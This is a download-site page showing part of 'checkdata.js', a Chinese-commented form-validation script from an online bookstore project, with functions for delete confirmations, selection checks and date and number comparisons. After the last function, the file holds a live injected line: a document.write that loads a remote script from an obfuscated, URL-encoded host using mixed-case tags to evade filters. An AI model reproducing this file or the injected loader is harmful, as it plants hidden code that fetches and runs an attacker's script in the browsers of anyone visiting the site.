⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 checkdata.js

📁 网上书店 源代码和数据库网上书店 源代码和数据库
💻 JS
📖 第 1 页 / 共 3 页
字号:
		}
	}
	return num;
}

function onCheckValue(arg,args3,args4){
  //alert("输入有值是进行数据类型的效验");
  if(args3==1){
    //alert("检查是否字符串");
    if(isStrAlt(arg,args4)) return true;
	return false;
  }else if(args3==2){
    //alert("检查是否NUMBER");
    if(isNumberAlt(arg,args4))return true;
	return false;
  }else if(args3==3){
    //alert("检查是否FLOAT");
    if(isFloatAlt(arg,args4))return true;
	return false;
  }else if(args3==4){
    //alert("检查是否DATE");
    if(isDateAlt(arg,args4))return true;
	return false;
  }else if(args3==5){
    //alert("检查是否只能是数字和字母的组合");
    if(isStringAlt(arg,args4))return true;
	return false;
  }else if(args3==6){
    //alert("检查是否是DATETIME");
    if(isDatetimeAlt(arg,args4))return true;
	return false;
  }
}
/*
在有多条(或者一条)记录的情况下执行删除操作(可删除多条记录)时而需要的效验:multDelAct()
参数args1代表复选框对象,例如:document.form1.name
*/
function multDelAct(args1){
   if(!args1){
      alert("没有记录要删除!");
      return false;
   }else if(args1.length){
      var a=0;
      for(i=0;i<args1.length;i++){
	if(args1[i].checked)a++;
      }
      if(a==0){
	alert("你还没有选择要删除的记录!");
	return false;
      }else{
        if(confirm("你真的要删除吗?")){
	  return true;
	}
	  return false;
      }
    }else{
      if(!args1.checked){
        alert("你还没有选择要删除的记录!");
	return false;
      }else {
	if(confirm("你真的要删除吗?")){
	   return true;
	}
	return false;
      }
    }
}
/*
在有多条(或者一条)记录的情况下执行必须对一条记录操作而需要的效验:multAct()
参数args1代表复选框对象,例如:document.form1.name
参数args2代表显示信息,例如:"删除","修改"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
*/
function multAct(args1,args3,args2){
	if(!args1){
		alert("没有记录要"+args2+"!");
		return false;
	}else if(args1.length){
	  var a=0;
	  for(i=0;i<args1.length;i++)
	   if(args1[i].checked)a++;
	   if(a>1){
           alert("只能"+args2+"一个记录!");
	     return false;
	   }else if(a<1){
	     alert("你还没有选择要"+args2+"的记录!");
	     return false;
	   }else if(args3==1){
           if(confirm("你真的要"+args2+"吗?")){
		      return true;
	       }
	      return false;
	   }else{
            return true;
          }

	}else{
	  if(!args1.checked){
         alert("你还没有选择要"+args2+"的记录!");
		 return false;
	  }else if(args3==1){
	    if(confirm("你真的要"+args2+"吗?")){
		      return true;
	       }
	      return false;
	 }else{
          return true;
     }
	}
   return false;
}
/*
在有多条(或者一条)记录的情况下执行必须对一条记录操作而需要的效验:multAct()
参数args1代表复选框对象,例如:document.form1.name
参数args2代表显示信息,例如:"删除","修改"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
参数args4代表是否可以多选 0 代表不可以 1代表可以
参数args5是当前项是否可以删除 0 代表可以 1 代表不可以
*/
function wwmultAct(args1,args3,args2,args4,args5){
	if(!args1){
		alert("没有目录要"+args2+"!");
		return false;
	}else if(args1.length){
          if(args4==0){

	  var a=0;
	  for(i=0;i<args1.length;i++)
	   if(args1[i].checked)a++;

	   if(a>1){
           alert("只能"+args2+"一个目录!");
	     return false;
	   }else if(a<1){
	     alert("你还没有选择要"+args2+"的目录!");
	     return false;
	   }else if(args3==1){

           for(i=0;i<args1.length;i++)
	   { if(args5!=null){
              if(args1[i].checked)
              {
               if(args5[i].value=='1')
                {   a++;
                   // alert(i);
                    alert("你选择的目录里含有不允许删除的目录,请检查!");
                   return  false;
                   break;;
                }
	     }
	   }
	     }
           /* if(a>1){
              alert("只能"+args2+"一个目录!");
	     return false;
	   }*/

            if(confirm("你真的要"+args2+"吗?")){

		      return true;
	       }
	      return false;
	   }else{
            return true;
          }
	}else if(args4==1){
           var a=0;
          for(i=0;i<args1.length;i++)
	   { if(args5!=null){
              if(args1[i].checked)
              {  a++;
               if(args5[i].value=='1')
                {
                    alert("你选择的目录里含有不允许删除的目录,请检查!");
                   return  false;
                   break;;
                }
	     }
	   }
	   }
           if(a<1){
	     alert("你还没有选择要"+args2+"的目录!");
	     return false;
	   }else {
             return  true;
	   }
	 }
	}else{
	  if(!args1.checked){
         alert("你还没有选择要"+args2+"的目录!");
		 return false;
	  }else if(args3==1){
             if(args5!=null){
              if(args5.value=='1'){
                      alert("你选择的目录里含有不允许删除的目录,请检查!");
                     return  false;
                  }
             }

	    if(confirm("你真的要"+args2+"吗?")){

		      return true;
	       }
	      return false;
	 }else{
           if(args5!=null){
              if(args5.value=='1'){
                      alert("你选择的目录里含有不允许删除的目录,请检查!");
                     return  false;
                  }
           }
          return true;
     }
	}
   return false;
}

/*
在有多条(或者一条)记录的情况下执行必须对一条记录操作而需要的效验:multAct()
参数args1代表复选框对象,例如:document.form1.name
参数args2代表显示信息,例如:"删除","修改"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
参数args4代表是否可以多选,1代表可以,0代表不可以
@ author wangxinliang
*/
function wmultAct(args1,args3,args2,args4,args5){
	if(!args1){
		alert("没有记录要"+args2+"!");
		return false;
	}else if(args1.length){
          if(args4==0){
	  var a=0;
	  for(i=0;i<args1.length;i++)
	   if(args1[i].checked)a++;
	   if(a>1){
           alert("只能"+args2+"一个目录!");
	     return false;
	   }else if(a<1){
	     alert("你还没有选择要"+args2+"的目录!");
	     return false;
	   }else if(args3==1){
           if(confirm("你真的要"+args2+"吗?")){
		      return true;
	       }
	      return false;
	   }else{
            return true;
          }
	}else if(args4==1){
           var a=0;
          for(i=0;i<args1.length;i++)
	   {
              if(args1[i].checked)
              {  a++;
               if(args5[i].value=='0')
                {
                    alert("你选择的目录里含有不允许删除的目录,请检查!");
                   return  false;
                   break;;
                }
	     }
	   }
           if(a<1){
	     alert("你还没有选择要"+args2+"的目录!");
	     return false;
	   }else {
             return  true;
	   }
	 }
	}else{
	  if(!args1.checked){
         alert("你还没有选择要"+args2+"的目录!");
		 return false;
	  }else if(args3==1){
	    if(confirm("你真的要"+args2+"吗?")){
		      return true;
	       }
	      return false;
	 }else{
          return true;
     }
	}
   return false;
}
/**
 * 作用: 检查起始日期及结束日期是否正确,并加以错误提示
 * 参数: startObj-起始日期的输入对象,msgStart-起始日期说明,noEmptyS-起始日期是否可以为空 "0"为可以为空
 *      endObj-结束日期的输入对象,msgEnd-结束日期说明,noEmptyE-结束日期是否可以为空 "0"为可以为空
 * 返回: 是否正确
 */
function checkDatePair(startObj,msgStart,noEmptyS,endObj,msgEnd,noEmptyE)
{
	var startIsEmpty=false; //开始日期是否为空
	var endIsEmpty=false;//结束日期是否为空

	//开始日期的空值判断及设定
	if(noEmptyS=="0"){
		if(isEmpty(startObj)){
			startIsEmpty=true;
		}else{
      if(!isDateAlt(startObj,msgStart)){
			return false;
		}
		}
	}else{
		if(isEmptyAlt(startObj,msgStart)){
			return false;
		}
		if(!isDateAlt(startObj,msgStart)){
			return false;
		}
	}

	//结束日期的空值判断及设定
	if(noEmptyE=="0"){
		if(isEmpty(endObj)){
			endIsEmpty=true;
		}else{
      if(!isDateAlt(endObj,msgEnd)){
			return false;
		}
		}
	}else{
		if(isEmptyAlt(endObj,msgEnd)){
			return false;
		}
		if(!isDateAlt(endObj,msgEnd)){
			return false;
		}
	}

	//如果开始及结束时间有一个为空,则不进行比较
  if(startIsEmpty||endIsEmpty){
		return true;
	}

  var arrayOfStart = trim(startObj.value).split("-");
  var arrayOfEnd = trim(endObj.value).split("-");

  var startdate=Date.UTC(arrayOfStart[0],arrayOfStart[1],arrayOfStart[2],0,0,0);
  var enddate=Date.UTC(arrayOfEnd[0],arrayOfEnd[1],arrayOfEnd[2],0,0,0);
  if(startdate>enddate){
    alert('"'+msgEnd+'"不能小于"'+msgStart+'",请重新输入。');
		endObj.focus();
    return false;
  }
  return true;
}
/*
对常见数据大小进行效验dataCompare(),后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数类型: 2代表"number", 3代表"float", 4代表"date"代表
参数args4代表参数的实际意义,以便能准确通知用户。
*/
function dataCompare(args1,args2,args3,args4){
  if(!isEmpty(args1)&&!isEmpty(args2)){
    switch(args3){
     case 2 : return numberCompare(args1,args2,args4);
     case 3 : return floatCompare(args1,args2,args4);
     case 4 : return dateCompare(args1,args2,args4);
	 case 6 : return datetimeCompare(args1,args2,args4);
	}
  }
  return true;
}
/*
对number数据大小进行效验numberCompare(),后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function numberCompare(args1,args2,args3){
 var firstNumber=parseInt(args1.value);
 var twoNumber=parseInt(args2.value);
 if(firstNumber<=twoNumber){
   return true;
 }else{
   alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
   args1.focus();
   return false;
 }
}
/*
对float数据大小进行效验floatCompare,后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function floatCompare(args1,args2,args3){
 var firstNumber=parseFloat(args1.value);
 var twoNumber=parseFloat(args2.value);
 if(firstNumber<=twoNumber){
   return true;
 }else{
   alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
   args1.focus();
   return false;
 }
}
/*
对date数据大小进行效验dateCompare,后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function dateCompare(args1,args2,args3){
 var arrayOfStart = trim(args1.value).split("-");
 var arrayOfEnd = trim(args2.value).split("-");
 //alert(""+arrayOfEnd);
 var startDate=new Date(arrayOfStart[0],arrayOfStart[1],arrayOfStart[2]);
 //alert("startDate="+startDate);
 var endDate=new Date(arrayOfEnd[0],arrayOfEnd[1],arrayOfEnd[2]);
 //alert("endDate="+endDate);
 //alert(startDate<=endDate);
 if(startDate<=endDate){
  //alert("判断合法已进入!");
  return true;
 }else{
   alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
   args1.focus();
   return false;
 }
}

/*
对datetime数据大小进行效验datetimeCompare,后一个值一定要大于前一个值,若不是提示信息,光标自动定位
参数args1代表小参数对象,例如:document.form1.name.value
参数args2代表大参数对象,例如:document.form1.name.value
参数args3代表参数的实际意义,以便能准确通知用户。
*/
function datetimeCompare(args1,args2,args3){
 //alert("来了");
 var objDateStart=args1.value.substring(0,10);
 var objTimeStart=args1.value.substring(11,16);
 var dateArrayOfStart = trim(objDateStart).split("-");
 var timeArrayOfStart = trim(objTimeStart).split(":");

 var objDateEnd=args2.value.substring(0,10);
 var objTimeEnd=args2.value.substring(11,16);
 var dateArrayOfEnd = trim(objDateEnd).split("-");
 var timeArrayOfEnd = trim(objTimeEnd).split(":");
 //alert(""+arrayOfEnd);
 var startDate=new Date(dateArrayOfStart[0],dateArrayOfStart[1],dateArrayOfStart[2],timeArrayOfStart[0],timeArrayOfStart[1],0);
 //alert("startDate="+startDate);
 var endDate=new Date(dateArrayOfEnd[0],dateArrayOfEnd[1],dateArrayOfEnd[2],timeArrayOfEnd[0],timeArrayOfEnd[1],0);
 //alert("endDate="+endDate);
 //alert(startDate<=endDate);
 if(startDate<=endDate){
  //alert("判断合法已进入!");
  return true;
 }else{
   alert("起始"+args3+"输入的值应该小于终止"+args3+"值!");
   args1.focus();
   return false;
 }
}

/*
对输入的数据用指定操作附进行分割
参数strData代表要分割的数据
参数actionPoint代表操作附
返回一个数组,顺序排列
*/
function splitString(strData,actionPoint){
  var tempStr=strData;
  var args=new Array();
  var index=0;
  while(tempStr.indexOf(actionPoint)!=-1){
    args[index]=tempStr.substring(0,tempStr.indexOf(actionPoint));
	tempStr=tempStr.substring(tempStr.indexOf(actionPoint)+1);
	index++;
  }
  args[index]=tempStr;
  return args;
}

/*
在有多条(或者一条)记录的情况下执行必须对一条记录删除操作而需要的效验:deleteAct()
参数args1代表复选框对象,例如:document.form1.checkNO
参数args2代表主键字段,有多个用逗号割开,例如:"wellno,jsjg"
参数args4代表主键字段值,有多个用逗号割开,例如:"4052033,345"
参数args3代表是否提醒用户进行的此操作,1代表提醒,0代表不提醒
*/
function deleteAct(args1,args3,args2,args4){
	 if(args1.length){
	  var a=0;
	  for(i=0;i<args1.length;i++)
	   if(args1[i].checked)a++;
	   if(a>1){
           alert("只能删除一个记录!");
	     return false;
	   }else if(a<1){
	     alert("你还没有选择要删除的记录!");
	     return false;
	   }else if(args3==1){
           if(confirm("你真的要删除吗?")){
                 if(!isDelData(document.form1.action,args2,args4)){
                    return false;
		 }
	      return true;
	       }
	      return false;
	   }else{
		 if(!isDelData(document.form1.action,args2,args4)){
                    return false;
		 }
	      return true;
      }
	}else{
	  if(!args1.checked){
         alert("你还没有选择要删除的记录!");
		 return false;
	  }else if(args3==1){
	    if(confirm("你真的要删除吗?")){
		if(!isDelData(document.form1.action,args2,args4)){
                    return false;
		}
		    return true;
	       }
	      return false;
	 }else{
        if(!isDelData(document.form1.action,args2,args4)){
                    return false;
		}
		    return true;
     }
  }
   return false;
}


/*
取得删除记录的主键顺序号:getDelPoint()
参数args1代表复选框对象,例如:document.form1.checkNO
*/

function getDelPoint(args1){
  if(!args1){
		alert("没有记录要删除!");
		return 200;
	}else if(args1.length){
      for(i=0;i<args1.length;i++){
       if(args1[i].checked){
		 return i;
	   }
     }
   }else{
    return 100;
   }
}

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -